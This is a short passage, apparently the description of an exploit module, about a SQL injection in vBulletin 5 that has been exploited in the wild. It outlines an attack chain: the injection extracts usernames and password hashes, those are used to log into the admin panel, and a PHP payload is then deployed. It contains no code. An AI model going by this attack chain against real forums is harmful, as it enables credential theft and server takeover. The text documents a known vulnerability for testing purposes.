        This module exploits a SQL injection vulnerability found in vBulletin 5 that has
        been used in the wild since March 2013. This module uses the sqli to extract the
        web application's usernames and hashes. With the retrieved information tries to
        log into the admin control panel in order to deploy the PHP payload. This module
        has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
        Linux distribution.
